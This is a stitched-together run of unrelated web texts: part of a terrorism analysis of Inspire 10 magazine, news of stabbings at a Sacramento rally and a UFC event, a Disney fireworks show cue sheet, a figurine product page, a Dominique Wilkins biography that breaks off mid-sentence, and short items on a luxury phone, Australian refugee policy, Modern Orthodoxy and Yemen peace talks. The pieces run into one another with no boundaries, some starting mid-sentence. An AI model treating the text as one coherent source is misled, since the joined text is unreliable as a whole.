That al Qaeda in the Arabian Peninsula continues to publish Inspire, which takes time and resources to produce, is also revelatory. The group has been under increased pressure over the past 18 months. The jihadists have been pushed back to their desert hideouts from much of the territory they conquered in southern Yemen. Yet despite these setbacks, they continue to devote resources to publishing Inspire, they have people with access to computers and the Internet, and they remain in contact with jihadists in other parts of the world, such as Pakistan and Mali.
The copyediting in Inspire 10 was also cleaner than the previous edition, which had a major typo on the front cover. The new editor, who uses the nom de guerre Yahya Ibrahim, has worked with Khan since the first edition of the magazine. He is a native English speaker who is familiar with Western culture and idioms. Ibrahim was clearly influenced by Khan and has attempted to continue Khan's work, but he lacks Khan's acerbic wit and irreverence. In Inspire 10, for example, Ibrahim attempts to replicate the insulting one-page "advertisements" that Khan included in earlier editions of the magazine — one in particular racially derided U.S. President Barack Obama — but they lack the bite and general snark of Khan. Inspire seems to be more serious and less edgy than when Khan was in charge. This may dull its appeal to its targeted audience.
Another thing we can ascertain from Inspire 10 is that, despite al Qaeda in the Arabian Peninsula's continued commitment to foment grassroots terrorism in the West, the group is clearly disappointed by the response it has gotten. The magazine has mobilized some jihadists but probably not as many as the group would like. Those who have been inspired have not been very successful in their attacks.
The Open Source Jihad section also continues to show the low view that al Qaeda in the Arabian Peninsula's professional terrorist cadre has for grassroots operatives. They see them as not-so-exceptional individuals incapable of much more than simple attacks. Yet, since al Qaeda in the Arabian Peninsula lacks the ability to attack the West, the group must depend on these less than ideal individuals to do so for them.
In addition to what it reveals about al Qaeda in the Arabian Peninsula, Inspire 10 can also tell us some important things about what tactics we can expect the group to use and what locations we can expect it to target. Clearly the magazine continues to focus on targets in the West that have insulted the Prophet Mohammed. It revives the "the dust has not settled" theme from the first edition of the magazine and provides an updated hit list of individuals who have insulted Mohammed, including Terry Jones, the controversial Koran-burning pastor; Morris Sadek, who made a controversial film that disparaged Islam; and Stephane Charbonnier of the French magazine Charlie Hebdo.
We have seen several attacks and thwarted plots directed against these individuals in the past. In fact, in November 2011, Charlie Hebdo's office was completely destroyed by fire, which was started by the very type of accelerant and match attack promoted in Inspire 10. We believe we will continue to see grassroots plots against these targets.
Despite the weakening of the al Qaeda core group and the serious blows that regional franchises such as al Qaeda in the Arabian Peninsula, al Qaeda in the Islamic Maghreb and al Shabaab have suffered in recent months, jihadism continues to attract new adherents. And Inspire hopes to motivate and equip them to conduct attacks in the West.Seven people were stabbed when members of a “neo-Nazi” extremist group clashed with counterprotesters during a rally outside the California state Capitol Sunday, authorities said.
Sacramento Fire Department spokesman Chris Harvey said that at least two people had critical injuries.
“There was a large number of people carrying sticks and rushing to either get into the melee or see what was going on,” Harvey said.
Members of the Traditionalist Worker Party — a self-identified white nationalist group — were getting set to rally on the west steps of the Capitol building at around noon local time when they were met by a large group of anti-fascists.
Watch the latest video at video.foxnews.com
The TWP said on its Web site that the rally was a “protest against globalization and in defense of the right to free expression.”
Members of the group were greatly outnumbered by the counterprotesters, who held up signs that read “Nazi scum,” according to social-media photos.
TWP Chairman Matthew Heimbach said that his group organized the rally along with a group called Golden State Skinheads, and blamed the violence on “leftist radicals,” according to the LA Times. He added that one of his group’s members had been stabbed in the neck, but that the others injured were with the counterprotestors.
WARNING: Graphic content
Sean Moore, 23, of Sacramento waits for medics with a friends after being stabbed by protesters at the State Capitol in Sacramento, Calif. Renee C. Byer/The Sacramento Bee via AP Paramedics rush a stabbing victim away on a gurney. AP An injured anti-fascist protester lies on the ground with fellow demonstrators. AP An "anti-fascist" protester confronts a man. Reuters Anti-fascist counter-protestors parade through Sacramento after multiple people were stabbed during a clash between neo-Nazis holding a permitted rally and counter-protestors on Sunday at the state capitol in Sacramento, California. Reuters Sacramento Police officers gather after multiple people were stabbed during a clash between neo-Nazis holding a permitted rally and counter-protesters. Reuters Sacramento Police officers follow counter-protestors after multiple people were stabbed. Reuters Bloody bandages and police tape lay on the lawn of the California State Capitol. Reuters Ad Up Next Close Braves send punchless Mets staggering into brutal stretch ATLANTA — The tune-up is over, so now the Mets... 8 View Slideshow Back Continue Share this: Facebook
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With Wiressee second post for a list of videos of HEA
Introduction: Desiring the Dream
Castle: Blue and orange. Large keyhole (for unlocking doors to one's dreams)
FX: Spotlights and strobes
FX: Hub's fountain turns color appropriately
FX: Made with Magic ears and other paraphernalia work in sync with HEA
Narrator.
And they all lived happily ever after.
Each of us have a dream, a heart’s desire, it calls to us,
and when we’re brave enough to listen, and bold enough to pursue,
that dream will lead us on a journey to discover who we’re meant to be.
All we have to do is look inside our hearts and unlock the magic within.
Vocalists [Jordan Fisher & Angie Keilhauer]:
Ready to begin, let the wonder take hold.
Feel it draw you in watch the moment unfold
Castle: Yellow streams of sparkling light exit the keyhole
Spark a dream we’re meant to follow
Setting out for a new tomorrow
Castle: Red and orange lacquer, gold trim
Every step we take brings a new hope, new day
Every choice we make helps us find our own way
Every wish finally put into motion
Castle: Silver filigree over the red and orange lacquer
Diving in with our hearts wide open
The story comes alive / when we look and shine
a new adventure / bear in your eyes (bear in your eyes)
It’s just beginning
Feel your heart beat faster
FW: Heart shaped
reach out and find your happily ever after
find your happily ever after
Castle turns blue
FX synchrolite: Flare (Pearl FW) lobbed to highest turret and becomes a star
Tiana
The evening star is shining bright
So make a wish and hold on tight
There's magic in the air tonight
And anything can happen
FW: Jellyfish blossom
Castle: underwater, Ariel swims up (longing to be on land)
FX: Laser bubbles
Remy shows up in front of Gusteau's and Eiffel Tower (longing to be a chef)
Rapunzel in her tower (longing to be free)
Strolling by the Seine / Taste a morning out there
Like ordinary men Who freely walk about there
Just one day and then / I swear I'll be content
With my share / Won't resent / Won't despair / Old and bent
I won't care / I'll have spent / One day / Out there
Quasimodo shows up, climbs the tower
Star in turret turns to bells, Quasimodo rings them
Castle turns to Notre Dame, doves fly
Boldly Beginning the Journey
Merida (spoken): Your destiny lies with you you just have to be brave enough to see it and then your journey begins castle covered in green growth FX: synchrolite: Merida shots an arrow, becomes a flare FW: Bullseye
(spoken): "Touch the Sky" from Brave
I will read every story / Take hold of my own dream
Merida rides a horse
Be as strong as the seas are stormy / And proud as an eagle's scream
Flick from A Bug's Life rides a dandelion glider
rides a dandelion glider waterfall comes down main turret
I will ride, I will fly / Chase the wind and touch the sky
cars from Cars drive in, rev up, and race off
I will fly / Chase the wind and touch the sky
(Na na na na Na na na na La na na na Na na na)
house from Up with balloons floats in and up
And touch the sky / Chase the wind /
Chase the wind / Touch the sky
castle turns blue, water rises
FX: blue lasers become the surface of the water over the hub
Nemo, Crush, and Dory from Finding Nemo swim by
castle is covered with torches and Pacific Island touches
triangular sail
Moana appears in several scenes singing
Moana : Every turn I take, every trail I track
Every path I make, every road leads back
FW: Moana swirls
To the place I know, where I can not go, where I long to be
See the light as it shines on the sea? It's blinding
FX: Yellow lasers
Maui tattoos appear
But no one knows, how deep it goes
And it seems like it's calling out to me, so come find me
And let me know, what's beyond that line, will I cross that line?
FW: synchrolite - Tala as the sting ray flies up and continues as FWs
FW: sting ray shape
Tala hugs Moana
The line where the sky meets the sea? It calls me
And no one knows, how far it goes
If the wind in my sail on the sea stays behind me
One day I'll know, how far I'll go
Friends on the Journey
Aladdin (spoken) : Trust me, having a best friend by your side opens up a whole world of possibilities FX: smoke from the genie's lamp
: "Friend Like Me" from Aladdin (instrumental) Castle turns into brightly colored gear works and the gears works theme remains through the next few songs/scenes
(instrumental)
Terk, Tantor and friends
bunch of bugs run out and away (From A Bug's Life?)
Timon and Pumba
castle is made of Tinker Toys
Woody and pals show up
FW: blocks
Tinker Toys fall to reveal a green gear works castle
cast from Jungle Book come out to dance
come out to dance Ralph and Vanellope from Wreck It Ralph
Baymax and Hiro from Big Hero 6
Judy and Nick from Zootopia chased by The Big Donut
chased by The Big Donut Joy and Sadness from Inside Out
Vocalists : And when you're outside, looking in
Sully and Mike from Monsters Inc. with doors passing by and power canisters on overload
Who's there to open the door?
Shere Khan vocal : That’s what friends are for
the mouth of the gear works castle sings this line
castle is nightclub
Vocalists & Genie : Mr. Aladdin, sir, have a wish or two or three.
I'm on the job you big nabob!
You ain't never had a friend, never had a friend,
You ain't never had a friend, never had a friend,
You ain't never had a friend like me.
You ain't never had a friend like me
main turret becomes a rocket that takes off
FX: Lasers used for pinwheel fireworks and applause sign
FW: smiley faces
Love is the Journey
castle becomes blue with purple highlights
Olaf (spoken): Some people are worth melting for
Vocalists (slow cover): Say goodbye... Say goodbye...
moon rises up and off
To the pain of the past
We don't have to feel it anymore!
Love is an open door! Love is an open door!
two turtles swim by from Finding Nemo
WALL*E and Eve from WALL*E
Simba and Nala from The Lion King
Vocalist : You'll be in my heart
Kala and Tarzan hugging from Tarzan
Riley and parents wrasslin' from Inside Out
No matter what they say
baby Dory and parents hugging from Finding Dory
Carl and Russell hugging from UP
You'll be here in my heart / Always
FW: heart
baby Dumbo and his mother hugging from Dumbo
Judy Hopps hugging parents from Zootopia
Incredible family hugging from The Incredibles
castle is a pink garden with waterfalls
Cinderella and Prince Charming
Aladdin and Jasmine
Tiana and the frog
Ariel and Eric
Tangled
floating lanterns rise
Vocalists : And at last I see the light
And it's like the fog has lifted
And at last I see the light
And it's like the sky is new
And it's warm and real and bright
And the world has somehow shifted
All at once everything is different
Now that I see you
Rapunzel and Eugene in the canoe
two straggling lanterns dance around each other and light up the figures in the windows
Overcoming Adversity
Emperor from Mulan (spoken): The flower that blooms in adversity is the most rare and beautiful of all.
who is the villain in silhouette at the top of the turret??
FX synchrolite: Chinese firework is shot from a Mulan character and it continues as real FW past the castle
Syndrome shoots electric bolts
walls at bottom of castle crumble as the final Omnidroid battles Mr. Incredible
waters rise and Ursula appears shooting bolts at Prince Eric from her trident
Scar and Mufasa fight in the center casting large shadow, hyenas at the bottom
Jafar the Serpent v. Aladdin
Maleficent turns into a dragon and attacks Philip
the castle is on fire
pirates (which ones?) fight in silhouette in middle of castle
more silhouettes at the bottom (who?)
silhouette of Aladdin batting away at something? FX: synchrolite - the thing hit continues off the castle as a red flare
Merida firing her bow
Mulan bo stick and kick FX: clouds billow out the front of the castle
Incredibles appear in silhouette at bottom?
Philip kills Maleficent the dragon
The Heroes' Happily Ever After
The castle is in embers
Mufasa (from The Lion King, spoken): Look inside yourself
Mufasa (continuing): You are more than what you have become
Remember who you are
Remember, remember
Vocalists : I have often dreamed of a far off place
Aladdin
Where a hero's welcome would be waiting for me
Tarzan
Where the crowds will cheer when they see my face
Mulan
And a voice keeps saying, this is where I'm meant to be
Hercules
Star returns to turret, castle turns blue
Moana
Wendy, John, and Michael ("Peter Pan")
Snow White and Prince
Dwarfs
Ariel and Eric
Aurora and Philip wedding (or is it Cinderella and Prince Charming??)
Vanellope winning a trophy
Genie and Aladdin
Anna and Elsa
Tiana and Naveen wedding
I will beat the odds / I can go the distance
Castle gets gilded and characters show up as stained glass portraits
Cinderella
Aladdin
Tarzan
Hercules
I will face the world / Fearless, proud and strong
Woody
I will please the gods / I can go the distance
Merida
Anna & Elsa
Till I find my hero's welcome / Right where I belong!
Tiana
Pinocchio
Snow White
Aurora
Mulan
Belle
Beast
others on the side, disconnected turrets Alice Moana Pinocchio Peter Pan
Conclusion: Find Your Own Happily Ever After
Narrator
And so our journey comes to an end
but yours continues on
grab hold of your dreams
and make them come true
for you are the key to unlocking your own magic
now go, let your dreams guide you
reach out and find your happily ever after
the battles, the stories
the losses in all the glories
we’re changed by the way
we live everyday
just look up and reach to the sky
we all have the courage to fly
"You Can Fly" from Peter Pan
you can fly (you can fly)
you can fly (you can fly)
you can flyyyyy!
Tinkerbell flies out of castle self-lit up
The story comes alive / when we look and shine
castle takes on different color schemes
FX: trees have laser fireflies
a new adventure / bear in your eyes (bear in your eyes)
it’s just beginning / feel your heart beat faster
reach out and find your / reach out and find your
reach out and find your / happily ever after
10 seconds: Instrumental “Happily Ever After”27 seconds:..90 Seconds: “Happily Ever After” [by Adam Watts, Melissa Peirce & Andrew Dodd]10 seconds: Instrumental (from anything?)24 seconds:appears and sings ("Down in New Orleans [prologue]" from10 seconds: instrumental variations on "When You Wish Upon a Star" from28 seconds: instrumental of "Part of Your World" from8 seconds: instrumental variations on "When You Wish Upon a Star" from53 seconds: "Out There" from50 seconds:7 seconds: musical interlude (tune?)72 seconds: "How Far I’ll Go" from4 seconds: silence26 seconds:20 seconds: "Trashin’ The Camp" from(instrumental)10 seconds: "Hakuna Matata" from(instrumental)14 seconds: "You Got a Friend in Me" from(instrumental)30 seconds: Mash-up of: "Bear Necessities" from+ "You Got a Friend In Me" + "Hakuna Matata" (instrumental)23 seconds: "That’s What Friends Are For" from30 seconds: "Friend Like Me" from6 seconds: silence36 seconds: "Love Is an Open Door" (slow instrumental) from16 seconds: "Can You Feel the Love Tonight" (instrumental) from13 seconds: "You’ll Be In My Heart" from31 seconds: Instrumental of "You’ll Be In My Heart" (31 seconds)50 seconds: "I See the Light" from21 seconds: Instrumental from40 seconds: Villain Instrumental from???33 seconds: "To Die For" from45 seconds: "He's a Pirate" from(instrumental)14 seconds: transition instrumental25 seconds: "I Can Go the Distance" (instrumental licks, from102 seconds: "I Can Go the Distance" (lyrics fromthe movie and from the pop version)24 seconds:...93 seconds: "Happily Ever After (reprise)"Product Details
- A maximum of 3 of this product are available per person. Orders that include more than this limit will be cancelled.
Nya-tan is joining the Nendoroids~nya!
From the popular anime series 'Etotama' comes a Nendoroid of Nya-tan, the eto-musume of the cat that dreams to one day become one of the twelve Chinese Zodiac Gods! She comes with both an energetic smiling expression as well a somewhat obnoxious yet still adorable devious expression.
Optional parts include the Soruraru Seal that marks her victory in the ETM12 divine selection ritual. You can also switch the stickers on the seal to create the seals of each of the eto-musume! Enjoy the adorable company of Nya-tan by your side in Nendoroid form!
GOODSMILE ONLINE SHOP Present Campaign!
Certain preorders of Nendoroid Nya-tan from the the GOODSMILE ONLINE SHOP will be selected at random to receive an as a bonus!
* The bonus will be sent together with your order.
Order Dates: Orders can be placed between the 5th November 2015 (Thu) from 12:00JST until the 2nd December 2015 (Wed) at 21:00JST.
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Good Smile Company - Nendoroid Nya-tan
http://www.goodsmile.info/en/product/5304/Wilkins was born in Paris, France while his father was stationed there as an airman in the U.S. Air Force. Wilkins' family then moved to Dallas and Baltimore before settling in Washington, North Carolina, where he attended Washington High School. He was the back-to-back MVP for the team's consecutive Class 3-A State Championships (1978–1979). Wilkins was in the "Faces in the Crowd" section of Sports Illustrated while in high school for a performance in a game vs. a higher classification school in which he scored 48 points, had 27 rebounds, 9 dunks, and 8 blocks. Wilkins then starred in the McDonald's All-American Game, The Capital Classic, The Kentucky Derby Festival Classic, and The Dapper Dan Classic All-Star Games. He had 16 points and 12 rebounds in the McDonald's, 26 points in the Capital, and 22 points in the Derby Classic. He entered the University of Georgia in 1979 with an established reputation as an exciting player. Wilkins averaged 21.6 points a game over his career and was named SEC Men's Basketball Player of the Year in 1981. [2] [3] He left college after his junior year.
Wilkins was selected third overall (behind James Worthy and Terry Cummings) by the Utah Jazz in the 1982 NBA draft. Cash flow problems within the Utah Jazz organization, along with Wilkins's reluctance to play with the Jazz, led to his trade to the Atlanta Hawks several months after the draft for John Drew, Freeman Williams and $1 million in cash.[4] Despite Wilkins's reluctance to play in Utah, the trade is now considered among the most lopsided deals in NBA history, as Drew and Williams would play a combined four seasons for the Jazz.
Wilkins averaged more than 25 points per game for ten consecutive seasons, and captured a scoring title in 1985–86 with an average of 30.3 points per game.
Wilkins, in addition to his eleven seasons with the Hawks, had short stints with the Los Angeles Clippers, the Boston Celtics, Panathinaikos Athens (a professional team in Greece's top-tier level Greek Basket League, with whom he won his first titles, the FIBA European League and the Greek Cup), Fortitudo Bologna (a professional team in Italy's top-tier level LBA), the San Antonio Spurs, and the Orlando Magic before he retired in 1999.
Wilkins was instrumental in the Hawks' prominence in the 1980s, when the club recorded four consecutive 50-win seasons during the decade. As Wilkins entered his thirties and the Hawks needed more of an all-around contribution from their star, Wilkins averaged 9.0 rebounds and 3.0 assists during the 1990–91 season.
A nine-time NBA All-Star and the winner of two NBA slam dunk contests, Wilkins registered 26,668 points and 7,169 rebounds in his NBA career. As of 2016, he ranks 15th on the NBA scoring list.[5]
Wilkins' nickname was "The Human Highlight Film" for his athletic ability and highlight reel dunks. His trademark dunk was a powerful one- or two-handed windmill, dunks he used to capture the slam dunk contest titles in 1985 and 1990. As a basketball player he was known as an acrobatic scorer, somewhat of a gunner, though an outstanding finisher and one of the greatest dunkers in NBA history.
His #21 jersey was retired by the Hawks on January 13, 2001. He is one of four players whose jerseys have been retired by the Hawks.
Early NBA years Edit
Wilkins notched his first Slam-Dunk Championship at the NBA All-Star Weekend in Indianapolis during the 1984–85 season. He went on to finish the season with a 27.4 scoring average, good for sixth in the NBA. He ranked second on the Hawks in rebounding (6.9 rpg) and steals (135). For the first of two straight seasons he led the NBA in field-goal attempts, with 1,891. After going 0-for-11 from the three-point line the previous season, Wilkins made 25 of 81 three-point shots in 1984–85. He also shot better than 80 percent from the free throw line for the first of 10 consecutive seasons. Despite Wilkins's efforts, Atlanta finished 34-48 and failed to reach the playoffs.
Wilkins exploded into the NBA's elite circle in 1985–86, winning the league scoring title with an average of 30.3 points per game. He was an NBA All-Star for the first time and was voted to the All-NBA First Team at the end of the season. He failed in his bid to repeat as NBA Slam-Dunk champion, his competition coming from an unlikely source. The Hawks had signed 5-foot-7 Anthony "Spud" Webb as a free agent prior to the season, and Webb dazzled the All-Star Saturday crowd in Dallas by soaring more than 4 feet (1.2 m) to the basket on each of his dunk attempts. Atlanta turned its fortunes around in dramatic fashion, winning 16 more games in the 1985–86 season to finish 50-32 for the year. Wilkins scored 57 points in one game and ranked among the Hawks' leaders in rebounding (7.9 rpg), steals (138), and free-throw percentage (.818). Atlanta beat the Detroit Pistons in four games in the first round of the playoffs, but the Hawks could not get past the eventual NBA-champion Boston Celtics, losing four games to one in the Eastern Conference semifinals. Wilkins averaged 28.6 points in the nine playoff games.
After playing as a reserve the previous year, Wilkins became the first Atlanta Hawks player to start in an NBA All-Star Game since Eddie Johnson in 1981. Wilkins finished the year second in the league in scoring (29.0 ppg) to Michael Jordan's 37.1 points per game. He scored the 10,000th point of his career against the Chicago Bulls on April 16 and was named to the All-NBA Second Team at the season's end. Atlanta went into the season with high expectations after a 50-32 mark the previous year, and the Hawks totalled a franchise-record 57 victories. Doc Rivers, Kevin Willis, Tree Rollins, and Mike McGee contributed as the club made it through the first round of the NBA playoffs before losing in the Eastern Conference semifinals to the Detroit Pistons. Wilkins averaged 26.8 points during the postseason, the second of six straight playoffs in which he would average at least 20 points.
Late 1980s Edit
In the 1987–88 season, Wilkins posted the highest scoring average of his career and finished second to Jordan in the NBA scoring race. He averaged 30.7 points for the Hawks, but Jordan bested him at 35.0. Jordan also defeated Wilkins for the Slam Dunk Championship at the NBA All-Star Weekend in Chicago. Wilkins earned a berth on the All-NBA Second Team and became the first Hawks player to be named NBA Player of the Week three times in a season. In his third straight All-Star Game appearance, Wilkins scored 29 points on 12-of-22 shooting, leading the East squad to a 138-133 victory.
Atlanta (50-32) won at least 50 games for the third straight season and advanced to the 1988 Eastern Conference Semifinals before losing to the Boston Celtics in seven games. In Game 7 on May 22, Wilkins and Larry Bird carried their respective teams to a thrilling finish, trading bucket for bucket in the fourth quarter until Boston won with a 118-116 victory. Wilkins finished with 47 points and Bird had 34-with 20 of his points tallied in the fourth quarter. "The basket was like a well," remembered Wilkins. "I couldn’t miss. He couldn’t miss. And it went down to the last shot of the game. Who was going to make the last shot? That's the greatest game I’ve ever played in or seen played. It was two guys who just did not want to lose."
During the 1989 season with the Hawks, Wilkins's scoring average dropped slightly to 26.2, good for seventh in the league, but he was an All-Star for the fourth straight year. He shot a career-best.844 from the free-throw line and ranked second on the Hawks with 117 steals. Basketball writers selected him to the All-NBA Third Team at season's end. The Hawks added Reggie Theus and Moses Malone to the team in 1988–89. Malone averaged 20.2 points and finished fourth in the league with his 11.8 rebounding average. Theus averaged 15.8 points. Without 7-foot (2.1 m) Kevin Willis, however, who missed the entire season with a fractured left foot, Atlanta lost to the Milwaukee Bucks in the first round. Wilkins averaged 27.2 points in the playoffs.
Wilkins returned to dunking prominence in 1989–90 by edging out the Sacramento Kings’ Kenny Smith for his second NBA Slam-Dunk championship. He averaged 26.7 points to finish fifth in the NBA scoring race. He led the Hawks in steals for the first time since 1985–86, finishing with 126. His.484 field-goal percentage was the best since his rookie season, and for the sixth straight year he did not foul out of a game. Nonetheless, Atlanta struggled to a 41-41 record in Mike Fratello's last season as head coach, failing to make the playoffs for only the second time in Wilkins' career.
1990s Edit
Wilkins averaged a career-high 9.0 rebounds in 1990–91, leading the Hawks in that category for the first time in his nine NBA seasons. He also led the team in scoring for the eighth straight year, finishing at 25.9 points per game—seventh best in the NBA. He registered a career-high 265 assists while developing a three-point shot he would use more and more in the later stages of his career. He hit 85-of-249 from long range for a.341 percentage, by far his most prolific three-point numbers to date. Wilkins made his sixth All-Star Game appearance, scoring 12 points in the East's 116-114 victory over the West. He was selected to the All-NBA Second Team for the third time in his career. Atlanta returned to the playoffs after a year's absence, drawing the defending NBA champion Detroit Pistons in the first round. The Hawks pushed the Pistons to a fifth game, but Detroit routed Atlanta, 113-81, in Game 5. Wilkins averaged 20.8 points in the five games |
When a brother and sister fall in love with the same man, ensuing events shatter a traditional Marathi family. Based on Sachin Kundalkar's novel.TAG Heuer,a Swiss luxury watchmaker, has launched a luxurious $6,750 (€ 4,700) Android Smartphone called 'TAG Heuer LINK'.
The phone's specs are as below:
Display:3.5 inch (800x480)
Camera:5 megapixel camera, Video player and recorder
Memory:256MB internal memory, 8GB memory card.
OS: Android 2.2 (download access to over 250,000 applications)
Connectivity: Stereo Bluetooth, AGPS, Wifi, WAPI, Compatible with any SIM card
Battery:1400mAh battery (6.5 hours of talk time, 11 hours of music play time or about 14 days of standby)
Messaging: SMS / MMS / Email (Predictive Text Input XT9), Image formats supported: JPEG / GIF / BMP, Sound formats supported: MP3 / AAC / AAC+ / RA / WMA
The buyers can choose from steel, gold, diamonds, black PVD, rubber, calfskin leather, carbon leather, alligator,lizard skins and titanium for phone's outfit.
The LINK is also designed to be rugged and shock proof. It goes on sale at Tag Heuer stores next month. However, will anyone really pay close to $7000 to get a phone that has 256MB internal memory?( CNN ) As the world works to resolve a major international refugee crisis, Australia just wants them to go away.
Sri Lankan refugees detained on Nauru for six months have had their refugee claims approved but will be refused resettlement in Australia. The move has angered asylum...
The government's claim that Australia resettles more refugees per capita than almost any other nation should be treated with extreme scepticism. It's all in how you define...
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Australia: Open Statement on Offshore Detention Related Content We, as a coalition of organisations and community groups from around Australia, are writing to express our concern regarding the humanitarian crisis that Australia has created. Successive Australian governments have managed and funded offshore detention camps on Manus Island and Nauru. The people detained there are clearly Australia’s responsibility. This... Human Rights
Fact and fiction with Prime Minister Tony Abbott\'s refugee intake numbers ANALYSIS Prime Minister Tony Abbott says Australia will take more refugees from Syria in response to the growing international crisis but it will not increase the total number of asylum seekers it accepts. He says Australia is already doing a lot when it comes to accepting asylum seekers, and that "we take more refugees than any other through the UNHCR on a per capita basis."... Canberra Times
Australian refugee policy: twists in the tale The Immigration Minister's reference to 'fake refugees' stands in stark contrast to the principles for Australia's refugee policy presented to parliament 40 years ago this week, writes Claire Higgins. OPINION: On the airwaves this week, Australia's Immigration Minister Peter Dutton continues to describe asylum seekers who are yet to submit their protection applications as 'fake... Public Technologies
Australia blamed for illegal migrants Berni K. Moestafa, The Jakarta Post, Jakarta Bowing to diplomatic pressure, Indonesia is helping prevent illegal migrants from coming to Australia and in doing so is helping the latter avoid its international obligation to accepting refugees, an Australian expert on migration said. "Australia is more to blame for the current situation than Indonesia," Stephen Castles, the... Jakarta PostWhat defines the Modern Orthodox movement?
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While it is virtually impossible to define a movement in this limited space, especially one whose adherents often argue about its parameters, here is one stab at this question, offered by one individual.
Modern Orthodoxy is at its core a part of Orthodoxy, which I will characterize here as a series of beliefs and practices that are loyal to Halachah, the ancient interpretation and practice of Jewish law. Modern Orthodox Jews, therefore, eat only kosher foods. We observe Shabbat from Friday afternoon through Saturday evening, and passionately follow numerous other traditions that have remained largely unchanged for thousands of years, ranging from the way we pray to the way we interact with our families to the way we celebrate lifecycle moments, be they happy or sad. Modern Orthodoxy’s theological beliefs are steadfastly part of ancient Jewish faith as well. The Bible was written by God and God’s prophets, and we, the Jewish people, are tasked with bringing the legacy of ethical monotheism and spiritual meaning to the world.
Where Modern Orthodoxy distinguishes itself from other elements of Orthodoxy is in its approach to modernity. We, Modern Orthodox Jews, see our engagement with the world around us not as a threat to our spirituality but as a sacred opportunity to expand it. Areas of study oftentimes classified as secular are seen, through the Modern Orthodox lens, as means to appreciate God by learning about God’s infinite powers of creativity and better expressing our own God-given abilities and creative potential. Art and literature are ways of deep and spiritual expression; the study of science allows for us to see God’s hand throughout the natural world; and psychology assists us in better understanding ourselves as individuals and members of society.
As a Modern Orthodox Jew, I see myself as an active member of the larger Jewish community and as a concerned citizen of the world. I seek opportunities to engage in Jewish practices, such as studying Torah and performing community service with Jews who label themselves differently than I label myself, be they to my religious left or right. I acknowledge that I do not have all the answers to the problems facing the Jewish community, and I gain strength and inspiration from other Jews facing similar challenges in their own segments of the community, and hope that they can do the same.
The partnerships I try to build with those around me manifest themselves in the pursuit of causes of social justice as well. My Modern Orthodoxy empowers me to seek solutions to the world’s injustices, and to see every human being as a bearer of God’s image.
Rabbi Yonah Berman serves Congregation Kadimah-Toras Moshe in Brighton.
Interested in learning about how the Jewish community connects across all denominations? Check out the Synagogue Council of Massachusetts.
This post has been contributed by a third party. The opinions, facts and any media content are presented solely by the author, and JewishBoston assumes no responsibility for them. Want to add your voice to the conversation? Publish your own post here.Drawn to the Flame, episode 5: Zoey SamarasShe was called by God to smite the wicked. She masquerades as a humble chef while stalking the night to fulfil His plan. That's right, this episode Frank and Peter are doing something a little different and dedicating the episode to discussing Zoey Samaras, the chef.Note: this podcast has audio recorded in a slightly different way. We hope you like it.Spoiler policy: we'll happily discuss player cards up to and including the Miskatonic Museum mythos pack.We'll skirt around encounter cards included in that pack, but talk freely about encounter cards in the core set and Dunwich Legacy.If you've taken the time to send us feedback on reddit, discord, the ffg forums, by text message or email: thank you. There are contact details at the end of the episode.Listen on iTunes: right here Subscribe to our RSS via Feedburner: right here Direct download: right here Thank you for listening and subscribing!UFC 169 took place Saturday night at the Prudential Center in Newark, NJ. Reports began surfacing shortly after the event that fights in the audience led to stabbings. Initially, Jeff Wagenheim of Sports Illustrated refuted the claims on Twitter:
Earlier reports of a stabbing at #UFC169 are being refuted by arena security, who say a man suffered a cut when he fell during a fight. — Jeff Wagenheim SI (@jeffwagenheim) February 2, 2014
However, the reports were later confirmed by NJ.com and the Newark Police department:
Two people were stabbed inside the Prudential Center during an Ultimate Fighting Championship event on Saturday night, police said. The victims, who were not identified, suffered non-life threatening injuries after they were stabbed in the stands, according to Newark Police Director Samuel DeMaio. A suspect was arrested in the attack, according to DeMaio, who did not identify the assailant or say when or where the incident took place. An e-mail to an arena spokesman seeking comment was not immediately returned.
Bloody Elbow will keep you updated as more details come to light in this story.Noted orthopedic surgeon Dr. James Andrews has performed numerous Tommy John surgeries on the elbows of baseball players. Dr. Kevin Wilk, his longtime physical therapist colleague, has overseen the rehabilitation of many of these athletes following the procedure.
An app to be released soon will help monitor the arms of young pitchers. Courtesy Throw Like a Pro
And after witnessing an increasing number of throwers seeking Tommy John surgery at progressively younger ages, Andrews and Wilk are trying to stem the tide of these devastating injuries at the youth level by teaming up to develop an iOS application designed to educate players, parents and coaches on how to prevent throwing injuries.
The app, Throw Like a Pro, will be released in the coming weeks. When available, it will feature four main elements, all centered around scientific data and input from Andrews and Wilk.
One section includes recommendations for pitchers from the American Sports Medicine Institute, such as avoiding throwing to the target of a radar gun and instead focusing on throwing with proper mechanics.
The app also includes a preseason preparation guide and pregame warm-up routine, including video instruction of various throwing exercises from Wilk. In addition to recommending specific exercises, Wilk offers tips to avoid common mistakes.
Perhaps one of the most practical sections of the app is the pitch counter and rest calculator. The pitch counter can be used to track how many pitches are thrown during a game and throughout the season.
Editor's Picks Schoenfield: Maximum effort the big problem The takeaway from the American Sports Medicine Institute's statement on Tommy John surgery is that pitchers should not pitch with maximum effort, David Schoenfield writes.
Based on the player's age, Throw Like a Pro creates specific guidelines with regards to numbers of pitches. The rest calculator outlines appropriate rest prior to resuming pitching.
Wilk said the goal of the app is to reduce shoulder and elbow injuries in youth baseball players while simultaneously improving performance.
"Hopefully this will help them to play at peak performance without injury," Wilk said, "so they can pursue their baseball aspirations in a healthy manner."
Andrews envisions the app as a means of broadly educating players along with their families and coaches to help prevent overuse injuries in young throwers.
"I'm really excited," Andrews said. "For the first time, kids and parents everywhere will have access to the information and routines that we hope will put an end to this epidemic."A conference aimed at restoring peace to conflict-torn Yemen has been postponed following a request from Yemen’s government and other parties for more time to prepare, the U.N. announced Tuesday.
The peace talks had been scheduled to start Thursday in Geneva. Several Yemeni officials said over the weekend they had been informed that the talks were postponed, but the U.N. statement was the first official confirmation.
Secretary-General Ban Ki-moon ordered the postponement, spokesman Stephane Dujarric said, adding that Ban “is actively working to convene the talks at the earliest possible time.”
The talks were meant to end weeks of heavy fighting and Saudi-led airstrikes against an Iran-backed Shiite militia group known as the Houthis amid a humanitarian crisis that has left millions in the Arab world’s poorest country short of food and fuel.
Dujarric said Ban is disappointed that the U.N.-sponsored talks weren’t starting on schedule and again called on all parties to participate “in good faith.”
Despite the U.N. appeal for all parties to attend the talks without preconditions, the exiled government of President Abedrabbu Mansour Hadi had reiterated its demand that Houthi militia first pull out of cities and towns seized in recent months, including the capital, Sanaa.
